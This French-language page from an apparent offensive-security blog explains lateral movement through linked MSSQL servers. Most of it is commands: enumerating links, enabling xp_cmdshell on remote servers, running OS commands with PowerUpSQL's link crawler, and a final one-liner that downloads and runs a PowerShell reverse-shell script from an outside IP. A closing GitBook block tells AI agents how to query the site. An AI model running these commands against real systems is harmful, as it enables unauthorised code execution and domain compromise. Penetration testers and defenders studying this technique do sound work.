> For the complete documentation index, see [llms.txt](https://blog.hacktive.bebzounette.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://blog.hacktive.bebzounette.com/active-directory/lateral-movement/kerberos/mssql-trusted-links.md).

# MSSQL Trusted Links

## MSSQ - Trusted Links

Les bases de données MSSQL peuvent être liées, de sorte que si vous compromettez l'une d'entre elles, vous pouvez exécuter des requêtes (ou même des commandes ) sur d'autres bases de données dans le contexte d'un utilisateur spécifique (Domain Admin par exemple). Si cela est configuré, cela peut même être utilisé pour du cross trust Forest ! Si nous disposons d'une exécution SQL, nous pouvons utiliser les commandes suivantes pour énumérer les liens entre les bases de données.

```powershell
# Trouver les serveurs liés
EXEC sp_linkedservers

# Lancer des requêtes SQL sur le serveur link ciblé
select mylogin from openquery("TARGETSERVER", 'select SYSTEM_USER as mylogin')

# Autoriser 'xp_cmdshell' sur le serveur distant est exécuter des commandes, cela ne marche que si le protocole RPC est activé
EXEC ('sp_configure ''show advanced options'', 1; reconfigure') AT TARGETSERVER
EXEC ('sp_configure ''xp_cmdshell'', 1; reconfigure') AT TARGETSERVER
EXEC ('xp_cmdshell ''whoami'' ') AT TARGETSERVER
```

Nous pouvons également utiliser PowerUpSQL pour rechercher des bases de données dans le domaine, et recueillir des informations supplémentaires sur les bases de données (accessibles). Nous pourrons également rechercher automatiquement, et exécuter des requêtes ou des commandes sur des bases de données liées (même à travers plusieurs couches de links de bases de données).

```powershell
# Obtenir des bases de données MSSQL dans le domaine, et tester la connectivité
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded | ft

# Obtenir des information sur toutes les bases de données du domaine
Get-SQLInstanceDomain | Get-SQLServerInfo

# Avoir des information sur une seule base de donnée 
Get-SQLServerInfo -Instance TARGETSERVER

# Scanner la base de donnée MSSQL pour observer des potentielles mauvaises configuration
Invoke-SQLAudit -Verbose -Instance TARGETSERVER

# Exécuter une requête SQL
Get-SQLQuery -Query "SELECT system_user" -Instance TARGETSERVER

# Exécuter une commande (autorise XP_CMDSHELL automatiquement si besoin)
Invoke-SQLOSCmd -Instance TARGETSERVER -Command "whoami" |  select -ExpandProperty CommandResults

# Trouver toutes les base donnée liées 
Get-SqlServerLinkCrawl -Instance TARGETSERVER | select instance,links | ft

# executer une commande si XP_CMDSHELL est autorisé sur une des base donnée liée
Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "whoami"' | select instance,links,customquery | ft

Get-SqlServerLinkCrawl -Instance TARGETSERVER -Query 'EXEC xp_cmdshell "powershell.exe -c iex (new-object net.webclient).downloadstring(''<http://172.16.100.55/Invoke-PowerShellTcpRun.ps1>'')"' | select instance,links,customquery | ft
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://blog.hacktive.bebzounette.com/active-directory/lateral-movement/kerberos/mssql-trusted-links.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
